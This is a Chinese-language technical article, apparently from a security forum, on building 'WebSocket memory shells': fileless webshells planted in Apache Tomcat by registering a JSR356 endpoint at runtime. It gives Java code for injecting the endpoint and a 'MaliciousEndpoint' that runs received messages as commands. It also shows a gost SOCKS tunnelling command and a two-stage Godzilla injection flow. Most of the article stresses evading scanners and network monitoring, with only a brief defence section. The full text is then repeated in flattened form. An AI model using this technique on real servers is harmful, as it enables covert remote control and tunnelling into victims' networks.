WebSocket 内存马,一种新型内存马技术
字数 1649 2025-08-27 12:33:54

WebSocket 内存马技术详解

1. WebSocket 协议概述

WebSocket 是一种全双工通信协议,允许客户端和服务端双向实时通信。特点包括:

  • 客户端和服务端可以互相主动发送数据
  • 适用于实时性要求高的场景(如实时通知、在线协作等)
  • 主流浏览器和服务端框架(Tomcat、Netty、Undertow、WebLogic等)都支持

2. Java WebSocket 实现标准

JSR356 标准

  • Java EE 7 的一部分,是 Java 官方的 WebSocket 编程规范
  • Tomcat 7.0.47+ 版本实现了 JSR356 标准
  • 早期版本(7.0.47 之前)使用自定义 API

实现方式对比

  1. 注解方式:使用 @ServerEndpoint 注解

    • 更简洁,自动化程度高
    • Tomcat 启动时通过 WsSciServletContainerInitializer 初始化
  2. 继承抽象类方式:继承 Endpoint

    • 需要手动实现 MessageHandlerServerApplicationConfig
    • 提供更细粒度的控制

3. WebSocket 内存马实现原理

核心思路

利用 Tomcat 的 WebSocket 容器动态添加端点,无需注册新的 Listener、Servlet 或 Filter,具有极强隐蔽性。

实现步骤

  1. 创建 ServerEndpointConfig 配置
  2. 获取 WebSocket ServerContainer
  3. 将配置添加到容器中
// 1. 创建ServerEndpointConfig
ServerEndpointConfig config = ServerEndpointConfig.Builder
    .create(EndpointInject.class, "/ws")
    .build();

// 2. 获取ServerContainer
ServerContainer container = (ServerContainer) req.getServletContext()
    .getAttribute(ServerContainer.class.getName());

// 3. 添加端点
container.addEndpoint(config);

技术细节

  • 通过 ServletContext 获取 ServerContainer 实例
  • 动态添加的端点不会在内存马扫描工具中显示异常
  • 无需任何第三方依赖,完全基于 JSR356 标准

4. WebSocket 内存马的优势

  1. 隐蔽性强

    • 不注册新的 Listener/Servlet/Filter
    • 常规内存马扫描工具难以检测
  2. 全双工通信

    • 双向实时通信,适合交互式操作
    • 通信效率高,接近原生 TCP
  3. 多功能性

    • 可执行命令
    • 可建立代理通道
    • 支持加密通信

5. WebSocket 代理功能实现

应用场景

  • 不出网主机的代理通道
  • 替代 reGeorg 等传统 Web 代理工具

实现方法

  1. 注入 WebSocket 代理内存马
  2. 使用支持 WebSocket 的代理工具连接(如 Gost)
./gost -L "socks5://:1080" -F "ws://127.0.0.1:8080?path=/proxy"

优势

  • 全双工通信,速度接近 TCP 代理
  • 基于 HTTP/HTTPS 端口,绕过端口限制
  • 难以被传统网络设备检测

6. 多功能 WebShell 实现方案

实现要点

  1. 协议适配

    • 需要修改现有 WebShell 管理工具以支持 WS 协议
    • 基本逻辑不变,仅替换通信协议
  2. 两阶段注入

    • 第一阶段:通过传统方式(如 JSP)注入 WS 端点
    • 第二阶段:通过 WS 连接执行后续操作
  3. 纯内存注入

    • 直接连接 WS 端点,无需依赖 JSP 文件
    • 更高隐蔽性

示例流程(以哥斯拉为例)

  1. 使用原版 JSP 马执行初始化代码
  2. 发送并注册 WS 端点类
  3. 建立 WS 连接后加载恶意功能类

7. 防御与检测建议

防御措施

  1. 禁用不必要的 WebSocket 支持
  2. 严格限制 WebSocket 端点的注册权限
  3. 监控动态添加端点的行为

检测方法

  1. 检查 ServerContainer 中的已注册端点
  2. 监控非常规路径的 WebSocket 连接
  3. 分析 WebSocket 通信内容特征

8. 技术演进方向

  1. 协议混淆

    • 加密 WebSocket 通信内容
    • 模仿合法 WebSocket 流量特征
  2. 持久化机制

    • 结合其他内存马技术实现自动恢复
    • 利用容器特性实现端点持久化
  3. 跨协议利用

    • 与 HTTP/HTTPS 协议切换
    • 与其他内存马技术结合形成攻击链

附录:关键代码片段

动态添加端点

// 创建端点配置
ServerEndpointConfig config = ServerEndpointConfig.Builder
    .create(MaliciousEndpoint.class, "/malicious-path")
    .configurator(new CustomConfigurator())
    .build();

// 获取并添加端点
ServletContext servletContext = request.getServletContext();
ServerContainer container = (ServerContainer) servletContext
    .getAttribute(ServerContainer.class.getName());
container.addEndpoint(config);

恶意端点示例

public class MaliciousEndpoint extends Endpoint {
    @Override
    public void onOpen(Session session, EndpointConfig config) {
        session.addMessageHandler(new MessageHandler.Whole<String>() {
            @Override
            public void onMessage(String message) {
                // 执行恶意操作
                try {
                    String result = executeCommand(message);
                    session.getBasicRemote().sendText(result);
                } catch (IOException e) {
                    e.printStackTrace();
                }
            }
        });
    }
    
    private String executeCommand(String cmd) {
        // 命令执行逻辑
    }
}

以上内容全面涵盖了 WebSocket 内存马的技术原理、实现方法和应用场景,可作为深入研究和防御该技术的参考文档。

WebSocket 内存马技术详解 1. WebSocket 协议概述 WebSocket 是一种全双工通信协议,允许客户端和服务端双向实时通信。特点包括: 客户端和服务端可以互相主动发送数据 适用于实时性要求高的场景(如实时通知、在线协作等) 主流浏览器和服务端框架(Tomcat、Netty、Undertow、WebLogic等)都支持 2. Java WebSocket 实现标准 JSR356 标准 Java EE 7 的一部分,是 Java 官方的 WebSocket 编程规范 Tomcat 7.0.47+ 版本实现了 JSR356 标准 早期版本(7.0.47 之前)使用自定义 API 实现方式对比 注解方式 :使用 @ServerEndpoint 注解 更简洁,自动化程度高 Tomcat 启动时通过 WsSci 的 ServletContainerInitializer 初始化 继承抽象类方式 :继承 Endpoint 类 需要手动实现 MessageHandler 和 ServerApplicationConfig 提供更细粒度的控制 3. WebSocket 内存马实现原理 核心思路 利用 Tomcat 的 WebSocket 容器动态添加端点,无需注册新的 Listener、Servlet 或 Filter,具有极强隐蔽性。 实现步骤 创建 ServerEndpointConfig 配置 获取 WebSocket ServerContainer 将配置添加到容器中 技术细节 通过 ServletContext 获取 ServerContainer 实例 动态添加的端点不会在内存马扫描工具中显示异常 无需任何第三方依赖,完全基于 JSR356 标准 4. WebSocket 内存马的优势 隐蔽性强 不注册新的 Listener/Servlet/Filter 常规内存马扫描工具难以检测 全双工通信 双向实时通信,适合交互式操作 通信效率高,接近原生 TCP 多功能性 可执行命令 可建立代理通道 支持加密通信 5. WebSocket 代理功能实现 应用场景 不出网主机的代理通道 替代 reGeorg 等传统 Web 代理工具 实现方法 注入 WebSocket 代理内存马 使用支持 WebSocket 的代理工具连接(如 Gost) 优势 全双工通信,速度接近 TCP 代理 基于 HTTP/HTTPS 端口,绕过端口限制 难以被传统网络设备检测 6. 多功能 WebShell 实现方案 实现要点 协议适配 需要修改现有 WebShell 管理工具以支持 WS 协议 基本逻辑不变,仅替换通信协议 两阶段注入 第一阶段:通过传统方式(如 JSP)注入 WS 端点 第二阶段:通过 WS 连接执行后续操作 纯内存注入 直接连接 WS 端点,无需依赖 JSP 文件 更高隐蔽性 示例流程(以哥斯拉为例) 使用原版 JSP 马执行初始化代码 发送并注册 WS 端点类 建立 WS 连接后加载恶意功能类 7. 防御与检测建议 防御措施 禁用不必要的 WebSocket 支持 严格限制 WebSocket 端点的注册权限 监控动态添加端点的行为 检测方法 检查 ServerContainer 中的已注册端点 监控非常规路径的 WebSocket 连接 分析 WebSocket 通信内容特征 8. 技术演进方向 协议混淆 加密 WebSocket 通信内容 模仿合法 WebSocket 流量特征 持久化机制 结合其他内存马技术实现自动恢复 利用容器特性实现端点持久化 跨协议利用 与 HTTP/HTTPS 协议切换 与其他内存马技术结合形成攻击链 附录:关键代码片段 动态添加端点 恶意端点示例 以上内容全面涵盖了 WebSocket 内存马的技术原理、实现方法和应用场景,可作为深入研究和防御该技术的参考文档。